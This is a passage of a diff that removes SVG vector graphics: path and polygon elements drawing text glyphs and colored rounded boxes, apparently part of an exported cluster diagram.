-                <path d="M312.1881,485.3256 L312.1881,486.684975 L304.609975,486.684975 C304.599558,486.341225 304.65685,486.0131 304.78185,485.7006 C304.96935,485.190183 305.276642,484.684975 305.703725,484.184975 C306.130808,483.684975 306.745392,483.10685 307.547475,482.4506 C308.787058,481.429767 309.6256,480.622475 310.0631,480.028725 C310.5006,479.424558 310.71935,478.85685 310.71935,478.3256 C310.71935,477.773517 310.521433,477.304767 310.1256,476.91935 C309.729767,476.533933 309.208933,476.341225 308.5631,476.341225 C307.886017,476.341225 307.34435,476.54435 306.9381,476.9506 C306.53185,477.35685 306.328725,477.91935 306.328725,478.6381 L304.8756,478.497475 C304.979767,477.414142 305.354767,476.591225 306.0006,476.028725 C306.646433,475.466225 307.511017,475.184975 308.59435,475.184975 C309.698517,475.184975 310.568308,475.492267 311.203725,476.10685 C311.849558,476.711017 312.172475,477.461017 312.172475,478.35685 C312.172475,478.815183 312.078725,479.268308 311.891225,479.716225 C311.703725,480.153725 311.391225,480.617267 310.953725,481.10685 C310.516225,481.596433 309.792267,482.268308 308.78185,483.122475 C307.9381,483.830808 307.396433,484.315183 307.15685,484.5756 C306.917267,484.8256 306.71935,485.0756 306.5631,485.3256 L312.1881,485.3256 Z M314.258413,486.684975 L314.258413,475.23185 L318.586538,475.23185 C319.346954,475.23185 319.925079,475.268308 320.320913,475.341225 C320.883413,475.434975 321.352163,475.612058 321.727163,475.872475 C322.112579,476.132892 322.419871,476.502683 322.649038,476.98185 C322.888621,477.4506 323.008413,477.971433 323.008413,478.54435 C323.008413,479.5131 322.695913,480.336017 322.070913,481.0131 C321.456329,481.690183 320.336538,482.028725 318.711538,482.028725 L315.774038,482.028725 L315.774038,486.684975 L314.258413,486.684975 Z M315.774038,480.66935 L318.742788,480.66935 C319.721954,480.66935 320.414663,480.487058 320.820913,480.122475 C321.237579,479.757892 321.445913,479.247475 321.445913,478.591225 C321.445913,478.112058 321.320913,477.7006 321.070913,477.35685 C320.831329,477.0131 320.513621,476.789142 320.117788,476.684975 C319.867788,476.612058 319.399038,476.5756 318.711538,476.5756 L315.774038,476.5756 L315.774038,480.66935 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="570.9633 75.83976 759.34123 75.83976 759.34123 116.28071 570.9633 116.28071"></polygon>
-                <path d="M621.1676,102.94726 C619.719683,102.94726 618.599892,102.504552 617.808225,101.619135 C617.016558,100.723302 616.620725,99.462885 616.620725,97.837885 C616.620725,96.1608017 617.021767,94.869135 617.82385,93.962885 C618.63635,93.0462183 619.782183,92.587885 621.26135,92.587885 C621.740517,92.587885 622.219683,92.6399683 622.69885,92.744135 C623.188433,92.8483017 623.568642,92.9733017 623.839475,93.119135 L623.370725,94.400385 C623.037392,94.2649683 622.672808,94.1555933 622.276975,94.07226 C621.881142,93.97851 621.532183,93.931635 621.2301,93.931635 C619.19885,93.931635 618.183225,95.2233017 618.183225,97.806635 C618.183225,99.0358017 618.428017,99.97851 618.9176,100.63476 C619.4176,101.29101 620.157183,101.619135 621.13635,101.619135 C621.969683,101.619135 622.818642,101.442052 623.683225,101.087885 L623.683225,102.41601 C623.016558,102.770177 622.178017,102.94726 621.1676,102.94726 Z M627.565,102.75976 L626.065,102.75976 L626.065,88.587885 L627.565,88.587885 L627.565,102.75976 Z M632.205564,92.775385 L632.205564,99.25976 C632.205564,100.07226 632.387856,100.681635 632.752439,101.087885 C633.127439,101.483718 633.705564,101.681635 634.486814,101.681635 C635.538897,101.681635 636.304522,101.395177 636.783689,100.82226 C637.262856,100.249343 637.502439,99.3170517 637.502439,98.025385 L637.502439,92.775385 L639.018064,92.775385 L639.018064,102.75976 L637.768064,102.75976 L637.549314,101.41601 L637.471189,101.41601 C637.158689,101.91601 636.726397,102.296218 636.174314,102.556635 C635.632647,102.817052 635.007647,102.94726 634.299314,102.94726 C633.090981,102.94726 632.184731,102.660802 631.580564,102.087885 C630.976397,101.504552 630.674314,100.577468 630.674314,99.306635 L630.674314,92.775385 L632.205564,92.775385 Z M648.671873,100.04101 C648.671873,100.968093 648.322915,101.686843 647.624998,102.19726 C646.937498,102.69726 645.968748,102.94726 644.718748,102.94726 C643.395831,102.94726 642.364581,102.733718 641.624998,102.306635 L641.624998,100.91601 C642.104165,101.155593 642.614581,101.348302 643.156248,101.494135 C643.708331,101.629552 644.239581,101.69726 644.749998,101.69726 C645.541665,101.69726 646.15104,101.57226 646.578123,101.32226 C647.005206,101.061843 647.218748,100.676427 647.218748,100.16601 C647.218748,99.7805933 647.046873,99.44726 646.703123,99.16601 C646.36979,98.88476 645.71354,98.556635 644.734373,98.181635 C643.80729,97.837885 643.145831,97.54101 642.749998,97.29101 C642.364581,97.0305933 642.072915,96.7389267 641.874998,96.41601 C641.687498,96.0826767 641.593748,95.6868433 641.593748,95.22851 C641.593748,94.41601 641.921873,93.775385 642.578123,93.306635 C643.24479,92.8274683 644.156248,92.587885 645.312498,92.587885 C646.385415,92.587885 647.43229,92.806635 648.453123,93.244135 L647.921873,94.47851 C646.921873,94.0618433 646.015623,93.85351 645.203123,93.85351 C644.484373,93.85351 643.942706,93.9680933 643.578123,94.19726 C643.21354,94.4264267 643.031248,94.7337183 643.031248,95.119135 C643.031248,95.3899683 643.098956,95.619135 643.234373,95.806635 C643.36979,95.994135 643.58854,96.1764267 643.890623,96.35351 C644.192706,96.5201767 644.77604,96.7649683 645.640623,97.087885 C646.828123,97.5149683 647.630206,97.94726 648.046873,98.38476 C648.46354,98.82226 648.671873,99.3743433 648.671873,100.04101 Z M654.353086,101.69726 C654.62392,101.69726 654.879128,101.676427 655.118711,101.63476 C655.368711,101.593093 655.566628,101.551427 655.712461,101.50976 L655.712461,102.66601 C655.556211,102.749343 655.316628,102.817052 654.993711,102.869135 C654.670795,102.921218 654.384336,102.94726 654.134336,102.94726 C652.207253,102.94726 651.243711,101.926427 651.243711,99.88476 L651.243711,93.94726 L649.806211,93.94726 L649.806211,93.22851 L651.243711,92.587885 L651.868711,90.462885 L652.743711,90.462885 L652.743711,92.775385 L655.649961,92.775385 L655.649961,93.94726 L652.743711,93.94726 L652.743711,99.82226 C652.743711,100.426427 652.884336,100.889968 653.165586,101.212885 C653.457253,101.535802 653.853086,101.69726 654.353086,101.69726 Z M661.939268,102.94726 C660.460101,102.94726 659.293435,102.499343 658.439268,101.60351 C657.585101,100.69726 657.158018,99.44726 657.158018,97.85351 C657.158018,96.2389267 657.553851,94.9576767 658.345518,94.00976 C659.137185,93.0618433 660.199685,92.587885 661.533018,92.587885 C662.793435,92.587885 663.783018,92.9993433 664.501768,93.82226 C665.230935,94.6451767 665.595518,95.7337183 665.595518,97.087885 L665.595518,98.04101 L658.720518,98.04101 C658.751768,99.2180933 659.048643,100.108718 659.611143,100.712885 C660.173643,101.317052 660.96531,101.619135 661.986143,101.619135 C663.05906,101.619135 664.12156,101.395177 665.173643,100.94726 L665.173643,102.29101 C664.642393,102.520177 664.137185,102.686843 663.658018,102.79101 C663.178851,102.895177 662.605935,102.94726 661.939268,102.94726 Z M661.517393,93.85351 C660.71531,93.85351 660.074685,94.119135 659.595518,94.650385 C659.126768,95.1712183 658.850726,95.8899683 658.767393,96.806635 L663.986143,96.806635 C663.986143,95.8587183 663.772601,95.1295517 663.345518,94.619135 C662.918435,94.1087183 662.30906,93.85351 661.517393,93.85351 Z M672.73419,92.587885 C673.182107,92.587885 673.57794,92.6243433 673.92169,92.69726 L673.718565,94.10351 C673.301898,94.00976 672.937315,93.962885 672.624815,93.962885 C671.822732,93.962885 671.130023,94.29101 670.54669,94.94726 C669.973773,95.60351 669.687315,96.4212183 669.687315,97.400385 L669.687315,102.75976 L668.187315,102.75976 L668.187315,92.775385 L669.42169,92.775385 L669.60919,94.619135 L669.67169,94.619135 C670.04669,93.9733017 670.494607,93.4733017 671.01544,93.119135 C671.536273,92.7649683 672.10919,92.587885 672.73419,92.587885 Z M675.584105,101.79101 C675.584105,101.38476 675.672646,101.077468 675.84973,100.869135 C676.03723,100.660802 676.302855,100.556635 676.646605,100.556635 C677.000771,100.556635 677.276813,100.660802 677.47473,100.869135 C677.672646,101.077468 677.771605,101.38476 677.771605,101.79101 C677.771605,102.186843 677.672646,102.494135 677.47473,102.712885 C677.276813,102.921218 677.000771,103.025385 676.646605,103.025385 C676.344521,103.025385 676.089313,102.931635 675.88098,102.744135 C675.683063,102.546218 675.584105,102.22851 675.584105,101.79101 Z M675.584105,93.744135 C675.584105,92.931635 675.938271,92.525385 676.646605,92.525385 C677.396605,92.525385 677.771605,92.931635 677.771605,93.744135 C677.771605,94.1399683 677.672646,94.44726 677.47473,94.66601 C677.276813,94.8743433 677.000771,94.97851 676.646605,94.97851 C676.344521,94.97851 676.089313,94.88476 675.88098,94.69726 C675.683063,94.4993433 675.584105,94.181635 675.584105,93.744135 Z M687.035643,92.775385 L687.035643,99.25976 C687.035643,100.07226 687.217934,100.681635 687.582518,101.087885 C687.957518,101.483718 688.535643,101.681635 689.316893,101.681635 C690.368976,101.681635 691.134601,101.395177 691.613768,100.82226 C692.092934,100.249343 692.332518,99.3170517 692.332518,98.025385 L692.332518,92.775385 L693.848143,92.775385 L693.848143,102.75976 L692.598143,102.75976 L692.379393,101.41601 L692.301268,101.41601 C691.988768,101.91601 691.556476,102.296218 691.004393,102.556635 C690.462726,102.817052 689.837726,102.94726 689.129393,102.94726 C687.921059,102.94726 687.014809,102.660802 686.410643,102.087885 C685.806476,101.504552 685.504393,100.577468 685.504393,99.306635 L685.504393,92.775385 L687.035643,92.775385 Z M703.501891,100.04101 C703.501891,100.968093 703.152932,101.686843 702.455016,102.19726 C701.767516,102.69726 700.798766,102.94726 699.548766,102.94726 C698.225849,102.94726 697.194599,102.733718 696.455016,102.306635 L696.455016,100.91601 C696.934182,101.155593 697.444599,101.348302 697.986266,101.494135 C698.538349,101.629552 699.069599,101.69726 699.580016,101.69726 C700.371682,101.69726 700.981057,101.57226 701.408141,101.32226 C701.835224,101.061843 702.048766,100.676427 702.048766,100.16601 C702.048766,99.7805933 701.876891,99.44726 701.533141,99.16601 C701.199807,98.88476 700.543557,98.556635 699.564391,98.181635 C698.637307,97.837885 697.975849,97.54101 697.580016,97.29101 C697.194599,97.0305933 696.902932,96.7389267 696.705016,96.41601 C696.517516,96.0826767 696.423766,95.6868433 696.423766,95.22851 C696.423766,94.41601 696.751891,93.775385 697.408141,93.306635 C698.074807,92.8274683 698.986266,92.587885 700.142516,92.587885 C701.215432,92.587885 702.262307,92.806635 703.283141,93.244135 L702.751891,94.47851 C701.751891,94.0618433 700.845641,93.85351 700.033141,93.85351 C699.314391,93.85351 698.772724,93.9680933 698.408141,94.19726 C698.043557,94.4264267 697.861266,94.7337183 697.861266,95.119135 C697.861266,95.3899683 697.928974,95.619135 698.064391,95.806635 C698.199807,95.994135 698.418557,96.1764267 698.720641,96.35351 C699.022724,96.5201767 699.606057,96.7649683 700.470641,97.087885 C701.658141,97.5149683 702.460224,97.94726 702.876891,98.38476 C703.293557,98.82226 703.501891,99.3743433 703.501891,100.04101 Z M712.104979,102.75976 L711.792479,101.337885 L711.729979,101.337885 C711.229979,101.962885 710.729979,102.389968 710.229979,102.619135 C709.740395,102.837885 709.125812,102.94726 708.386229,102.94726 C707.396645,102.94726 706.620604,102.692052 706.058104,102.181635 C705.495604,101.671218 705.214354,100.942052 705.214354,99.994135 C705.214354,97.9837183 706.823729,96.9264267 710.042479,96.82226 L711.745604,96.775385 L711.745604,96.150385 C711.745604,95.369135 711.573729,94.79101 711.229979,94.41601 C710.896645,94.04101 710.360187,93.85351 709.620604,93.85351 C708.78727,93.85351 707.844562,94.1087183 706.792479,94.619135 L706.339354,93.462885 C706.828937,93.2024683 707.365395,92.9993433 707.948729,92.85351 C708.532062,92.69726 709.120604,92.619135 709.714354,92.619135 C710.901854,92.619135 711.782062,92.88476 712.354979,93.41601 C712.927895,93.9368433 713.214354,94.7805933 713.214354,95.94726 L713.214354,102.75976 L712.104979,102.75976 Z M708.683104,101.69726 C709.620604,101.69726 710.354979,101.442052 710.886229,100.931635 C711.427895,100.410802 711.698729,99.681635 711.698729,98.744135 L711.698729,97.85351 L710.198729,97.91601 C708.990395,97.9576767 708.120604,98.1451767 707.589354,98.47851 C707.058104,98.8014267 706.792479,99.3170517 706.792479,100.025385 C706.792479,100.567052 706.959145,100.983718 707.292479,101.275385 C707.625812,101.556635 708.089354,101.69726 708.683104,101.69726 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M657.6743,194.44948 L657.6743,193.027605 C656.9243,194.121355 655.903467,194.66823 654.6118,194.66823 C654.038883,194.66823 653.502425,194.558855 653.002425,194.340105 C652.512842,194.121355 652.148258,193.845313 651.908675,193.51198 C651.669092,193.178647 651.502425,192.772397 651.408675,192.29323 C651.335758,191.98073 651.2993,191.470313 651.2993,190.76198 L651.2993,184.777605 L652.939925,184.777605 L652.939925,190.13698 C652.939925,190.991147 652.976383,191.569272 653.0493,191.871355 C653.153467,192.298438 653.372217,192.63698 653.70555,192.88698 C654.038883,193.13698 654.450342,193.26198 654.939925,193.26198 C655.429508,193.26198 655.887842,193.13698 656.314925,192.88698 C656.752425,192.626563 657.059717,192.282813 657.2368,191.85573 C657.413883,191.41823 657.502425,190.788022 657.502425,189.965105 L657.502425,184.777605 L659.14305,184.777605 L659.14305,194.44948 L657.6743,194.44948 Z M661.065657,191.558855 L662.690657,191.308855 C662.773991,191.954688 663.023991,192.454688 663.440657,192.808855 C663.857324,193.152605 664.440657,193.32448 665.190657,193.32448 C665.940657,193.32448 666.497949,193.173438 666.862532,192.871355 C667.227116,192.558855 667.409407,192.194272 667.409407,191.777605 C667.409407,191.413022 667.247949,191.121355 666.925032,190.902605 C666.706282,190.756772 666.148991,190.57448 665.253157,190.35573 C664.044824,190.04323 663.206282,189.777605 662.737532,189.558855 C662.279199,189.340105 661.930241,189.038022 661.690657,188.652605 C661.451074,188.256772 661.331282,187.819272 661.331282,187.340105 C661.331282,186.913022 661.430241,186.517188 661.628157,186.152605 C661.826074,185.777605 662.096907,185.470313 662.440657,185.23073 C662.690657,185.04323 663.034407,184.88698 663.471907,184.76198 C663.919824,184.626563 664.393782,184.558855 664.893782,184.558855 C665.654199,184.558855 666.320866,184.66823 666.893782,184.88698 C667.466699,185.10573 667.888574,185.402605 668.159407,185.777605 C668.440657,186.152605 668.633366,186.652605 668.737532,187.277605 L667.128157,187.496355 C667.055241,186.996355 666.841699,186.60573 666.487532,186.32448 C666.143782,186.04323 665.654199,185.902605 665.018782,185.902605 C664.258366,185.902605 663.716699,186.027605 663.393782,186.277605 C663.081282,186.527605 662.925032,186.819272 662.925032,187.152605 C662.925032,187.360938 662.987532,187.553647 663.112532,187.73073 C663.247949,187.907813 663.461491,188.053647 663.753157,188.16823 C663.909407,188.23073 664.388574,188.371355 665.190657,188.590105 C666.357324,188.892188 667.169824,189.142188 667.628157,189.340105 C668.086491,189.538022 668.445866,189.82448 668.706282,190.19948 C668.966699,190.57448 669.096907,191.04323 669.096907,191.60573 C669.096907,192.157813 668.935449,192.673438 668.612532,193.152605 C668.300032,193.631772 667.841699,194.006772 667.237532,194.277605 C666.633366,194.538022 665.951074,194.66823 665.190657,194.66823 C663.940657,194.66823 662.982324,194.407813 662.315657,193.88698 C661.659407,193.366147 661.242741,192.590105 661.065657,191.558855 Z M676.768782,194.44948 L675.128157,194.44948 L675.128157,183.996355 C674.732324,184.371355 674.211491,184.751563 673.565657,185.13698 C672.930241,185.51198 672.357324,185.79323 671.846907,185.98073 L671.846907,184.38698 C672.763574,183.959897 673.565657,183.439063 674.253157,182.82448 C674.940657,182.209897 675.425032,181.616147 675.706282,181.04323 L676.768782,181.04323 L676.768782,194.44948 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M669.40405,213.79884 L669.40405,213.79884 C669.40405,209.992215 672.489927,206.906323 676.296567,206.906323 L726.007567,206.906323 C727.835631,206.906323 729.588744,207.632489 730.881346,208.925091 C732.173949,210.217694 732.900145,211.970837 732.900145,213.79884 L732.900145,241.368115 C732.900145,245.174756 729.814208,248.260648 726.007567,248.260648 L676.296567,248.260648 C672.489927,248.260648 669.40405,245.174756 669.40405,241.368115 L669.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M683.0935,227.13098 L683.0935,215.646605 L684.37475,215.646605 L684.37475,216.72473 C684.676833,216.297647 685.015375,215.979938 685.390375,215.771605 C685.775792,215.563272 686.239333,215.459105 686.781,215.459105 C687.489333,215.459105 688.114333,215.641397 688.656,216.00598 C689.197667,216.370563 689.603917,216.886188 689.87475,217.552855 C690.156,218.209105 690.296625,218.933063 690.296625,219.72473 C690.296625,220.578897 690.140375,221.344522 689.827875,222.021605 C689.525792,222.698688 689.083083,223.219522 688.49975,223.584105 C687.926833,223.948688 687.317458,224.13098 686.671625,224.13098 C686.202875,224.13098 685.781,224.032022 685.406,223.834105 C685.041417,223.636188 684.739333,223.386188 684.49975,223.084105 L684.49975,227.13098 L683.0935,227.13098 Z M684.359125,219.834105 C684.359125,220.907022 684.572667,221.698688 684.99975,222.209105 C685.43725,222.719522 685.963292,222.97473 686.577875,222.97473 C687.202875,222.97473 687.739333,222.709105 688.18725,222.177855 C688.635167,221.646605 688.859125,220.828897 688.859125,219.72473 C688.859125,218.66223 688.640375,217.870563 688.202875,217.34973 C687.765375,216.81848 687.244542,216.552855 686.640375,216.552855 C686.046625,216.552855 685.515375,216.834105 685.046625,217.396605 C684.588292,217.959105 684.359125,218.771605 684.359125,219.834105 Z M691.460687,219.78723 C691.460687,218.25598 691.887771,217.120563 692.741937,216.38098 C693.460687,215.766397 694.330479,215.459105 695.351312,215.459105 C696.497146,215.459105 697.429437,215.834105 698.148187,216.584105 C698.877354,217.323688 699.241937,218.354938 699.241937,219.677855 C699.241937,220.740355 699.080479,221.578897 698.757562,222.19348 C698.434646,222.808063 697.965896,223.28723 697.351312,223.63098 C696.747146,223.964313 696.080479,224.13098 695.351312,224.13098 C694.195062,224.13098 693.257562,223.761188 692.538812,223.021605 C691.820062,222.271605 691.460687,221.19348 691.460687,219.78723 Z M692.913812,219.78723 C692.913812,220.84973 693.142979,221.646605 693.601312,222.177855 C694.070062,222.709105 694.653396,222.97473 695.351312,222.97473 C696.049229,222.97473 696.627354,222.709105 697.085687,222.177855 C697.554437,221.646605 697.788812,220.834105 697.788812,219.740355 C697.788812,218.719522 697.554437,217.94348 697.085687,217.41223 C696.627354,216.88098 696.049229,216.615355 695.351312,216.615355 C694.653396,216.615355 694.070062,216.88098 693.601312,217.41223 C693.142979,217.933063 692.913812,218.72473 692.913812,219.78723 Z M700.327875,221.459105 L701.7185,221.240355 C701.791417,221.802855 702.004958,222.235147 702.359125,222.53723 C702.723708,222.828897 703.223708,222.97473 703.859125,222.97473 C704.504958,222.97473 704.984125,222.844522 705.296625,222.584105 C705.609125,222.313272 705.765375,222.000772 705.765375,221.646605 C705.765375,221.334105 705.629958,221.084105 705.359125,220.896605 C705.161208,220.771605 704.682042,220.615355 703.921625,220.427855 C702.890375,220.167438 702.171625,219.94348 701.765375,219.75598 C701.369542,219.558063 701.067458,219.292438 700.859125,218.959105 C700.661208,218.625772 700.56225,218.25598 700.56225,217.84973 C700.56225,217.47473 700.645583,217.13098 700.81225,216.81848 C700.978917,216.50598 701.208083,216.245563 701.49975,216.03723 C701.7185,215.870563 702.015375,215.735147 702.390375,215.63098 C702.775792,215.516397 703.182042,215.459105 703.609125,215.459105 C704.265375,215.459105 704.838292,215.552855 705.327875,215.740355 C705.817458,215.927855 706.176833,216.183063 706.406,216.50598 C706.645583,216.81848 706.81225,217.245563 706.906,217.78723 L705.531,217.97473 C705.4685,217.547647 705.286208,217.214313 704.984125,216.97473 C704.682042,216.735147 704.260167,216.615355 703.7185,216.615355 C703.072667,216.615355 702.609125,216.72473 702.327875,216.94348 C702.057042,217.151813 701.921625,217.396605 701.921625,217.677855 C701.921625,217.865355 701.978917,218.032022 702.0935,218.177855 C702.208083,218.323688 702.385167,218.448688 702.62475,218.552855 C702.770583,218.604938 703.18725,218.72473 703.87475,218.91223 C704.864333,219.172647 705.557042,219.391397 705.952875,219.56848 C706.348708,219.735147 706.656,219.979938 706.87475,220.302855 C707.103917,220.625772 707.2185,221.026813 707.2185,221.50598 C707.2185,221.97473 707.077875,222.417438 706.796625,222.834105 C706.525792,223.240355 706.129958,223.558063 705.609125,223.78723 C705.098708,224.016397 704.520583,224.13098 703.87475,224.13098 C702.791417,224.13098 701.9685,223.907022 701.406,223.459105 C700.8435,223.011188 700.484125,222.344522 700.327875,221.459105 Z M711.952875,222.677855 L712.156,223.927855 C711.760167,224.011188 711.406,224.052855 711.0935,224.052855 C710.583083,224.052855 710.18725,223.97473 709.906,223.81848 C709.62475,223.651813 709.426833,223.438272 709.31225,223.177855 C709.197667,222.907022 709.140375,222.34973 709.140375,221.50598 L709.140375,216.740355 L708.109125,216.740355 L708.109125,215.646605 L709.140375,215.646605 L709.140375,213.584105 L710.546625,212.740355 L710.546625,215.646605 L711.952875,215.646605 L711.952875,216.740355 L710.546625,216.740355 L710.546625,221.584105 C710.546625,221.990355 710.567458,222.250772 710.609125,222.365355 C710.661208,222.479938 710.744542,222.573688 710.859125,222.646605 C710.973708,222.709105 711.135167,222.740355 711.3435,222.740355 C711.49975,222.740355 711.702875,222.719522 711.952875,222.677855 Z M712.773187,221.459105 L714.163812,221.240355 C714.236729,221.802855 714.450271,222.235147 714.804437,222.53723 C715.169021,222.828897 715.669021,222.97473 716.304437,222.97473 C716.950271,222.97473 717.429437,222.844522 717.741937,222.584105 C718.054437,222.313272 718.210687,222.000772 718.210687,221.646605 C718.210687,221.334105 718.075271,221.084105 717.804437,220.896605 C717.606521,220.771605 717.127354,220.615355 716.366937,220.427855 C715.335687,220.167438 714.616937,219.94348 714.210687,219.75598 C713.814854,219.558063 713.512771,219.292438 713.304437,218.959105 C713.106521,218.625772 713.007562,218.25598 713.007562,217.84973 C713.007562,217.47473 713.090896,217.13098 713.257562,216.81848 C713.424229,216.50598 713.653396,216.245563 713.945062,216.03723 C714.163812,215.870563 714.460687,215.735147 714.835687,215.63098 C715.221104,215.516397 715.627354,215.459105 716.054437,215.459105 C716.710687,215.459105 717.283604,215.552855 717.773187,215.740355 C718.262771,215.927855 718.622146,216.183063 718.851312,216.50598 C719.090896,216.81848 719.257562,217.245563 719.351312,217.78723 L717.976312,217.97473 C717.913812,217.547647 717.731521,217.214313 717.429437,216.97473 C717.127354,216.735147 716.705479,216.615355 716.163812,216.615355 C715.517979,216.615355 715.054437,216.72473 714.773187,216.94348 C714.502354,217.151813 714.366937,217.396605 714.366937,217.677855 C714.366937,217.865355 714.424229,218.032022 714.538812,218.177855 C714.653396,218.323688 714.830479,218.448688 715.070062,218.552855 C715.215896,218.604938 715.632562,218.72473 716.320062,218.91223 C717.309646,219.172647 718.002354,219.391397 718.398187,219.56848 C718.794021,219.735147 719.101312,219.979938 719.320062,220.302855 C719.549229,220.625772 719.663812,221.026813 719.663812,221.50598 C719.663812,221.97473 719.523187,222.417438 719.241937,222.834105 C718.971104,223.240355 718.575271,223.558063 718.054437,223.78723 C717.544021,224.016397 716.965896,224.13098 716.320062,224.13098 C715.236729,224.13098 714.413812,223.907022 713.851312,223.459105 C713.288812,223.011188 712.929437,222.344522 712.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M699.42944,241.5841 L699.42944,242.943475 L691.851315,242.943475 C691.840898,242.599725 691.89819,242.2716 692.02319,241.9591 C692.21069,241.448683 692.517982,240.943475 692.945065,240.443475 C693.372148,239.943475 693.986732,239.36535 694.788815,238.7091 C696.028398,237.688267 696.86694,236.880975 697.30444,236.287225 C697.74194,235.683058 697.96069,235.11535 697.96069,234.5841 C697.96069,234.032017 697.762773,233.563267 697.36694,233.17785 C696.971107,232.792433 696.450273,232.599725 695.80444,232.599725 C695.127357,232.599725 694.58569,232.80285 694.17944,233.2091 C693.77319,233.61535 693.570065,234.17785 693.570065,234.8966 L692.11694,234.755975 C692.221107,233.672642 692.596107,232.849725 693.24194,232.287225 C693.887773,231.724725 694.752357,231.443475 695.83569,231.443475 C696.939857,231.443475 697.809648,231.750767 698.445065,232.36535 C699.090898,232.969517 699.413815,233.719517 699.413815,234.61535 C699.413815,235.073683 699.320065,235.526808 699.132565,235.974725 C698.945065,236.412225 698.632565,236.875767 698.195065,237.36535 C697.757565,237.854933 697.033607,238.526808 696.02319,239.380975 C695.17944,240.089308 694.637773,240.573683 694.39819,240.8341 C694.158607,241.0841 693.96069,241.3341 693.80444,241.5841 L699.42944,241.5841 Z M701.499752,242.943475 L701.499752,231.49035 L705.827877,231.49035 C706.588294,231.49035 707.166419,231.526808 707.562252,231.599725 C708.124752,231.693475 708.593502,231.870558 708.968502,232.130975 C709.353919,232.391392 709.661211,232.761183 709.890377,233.24035 C710.129961,233.7091 710.249752,234.229933 710.249752,234.80285 C710.249752,235.7716 709.937252,236.594517 709.312252,237.2716 C708.697669,237.948683 707.577877,238.287225 705.952877,238.287225 L703.015377,238.287225 L703.015377,242.943475 L701.499752,242.943475 Z M703.015377,236.92785 L705.984127,236.92785 C706.963294,236.92785 707.656002,236.745558 708.062252,236.380975 C708.478919,236.016392 708.687252,235.505975 708.687252,234.849725 C708.687252,234.370558 708.562252,233.9591 708.312252,233.61535 C708.072669,233.2716 707.754961,233.047642 707.359127,232.943475 C707.109127,232.870558 706.640377,232.8341 705.952877,232.8341 L703.015377,232.8341 L703.015377,236.92785 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M597.40405,213.79884 L597.40405,213.79884 C597.40405,209.992215 600.489927,206.906323 604.296567,206.906323 L654.007567,206.906323 C655.835631,206.906323 657.588744,207.632489 658.881346,208.925091 C660.173949,210.217694 660.900145,211.970837 660.900145,213.79884 L660.900145,241.368115 C660.900145,245.174756 657.814208,248.260648 654.007567,248.260648 L604.296567,248.260648 C600.489927,248.260648 597.40405,245.174756 597.40405,241.368115 L597.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M611.0935,227.13098 L611.0935,215.646605 L612.37475,215.646605 L612.37475,216.72473 C612.676833,216.297647 613.015375,215.979938 613.390375,215.771605 C613.775792,215.563272 614.239333,215.459105 614.781,215.459105 C615.489333,215.459105 616.114333,215.641397 616.656,216.00598 C617.197667,216.370563 617.603917,216.886188 617.87475,217.552855 C618.156,218.209105 618.296625,218.933063 618.296625,219.72473 C618.296625,220.578897 618.140375,221.344522 617.827875,222.021605 C617.525792,222.698688 617.083083,223.219522 616.49975,223.584105 C615.926833,223.948688 615.317458,224.13098 614.671625,224.13098 C614.202875,224.13098 613.781,224.032022 613.406,223.834105 C613.041417,223.636188 612.739333,223.386188 612.49975,223.084105 L612.49975,227.13098 L611.0935,227.13098 Z M612.359125,219.834105 C612.359125,220.907022 612.572667,221.698688 612.99975,222.209105 C613.43725,222.719522 613.963292,222.97473 614.577875,222.97473 C615.202875,222.97473 615.739333,222.709105 616.18725,222.177855 C616.635167,221.646605 616.859125,220.828897 616.859125,219.72473 C616.859125,218.66223 616.640375,217.870563 616.202875,217.34973 C615.765375,216.81848 615.244542,216.552855 614.640375,216.552855 C614.046625,216.552855 613.515375,216.834105 613.046625,217.396605 C612.588292,217.959105 612.359125,218.771605 612.359125,219.834105 Z M619.460687,219.78723 C619.460687,218.25598 619.887771,217.120563 620.741937,216.38098 C621.460687,215.766397 622.330479,215.459105 623.351312,215.459105 C624.497146,215.459105 625.429437,215.834105 626.148187,216.584105 C626.877354,217.323688 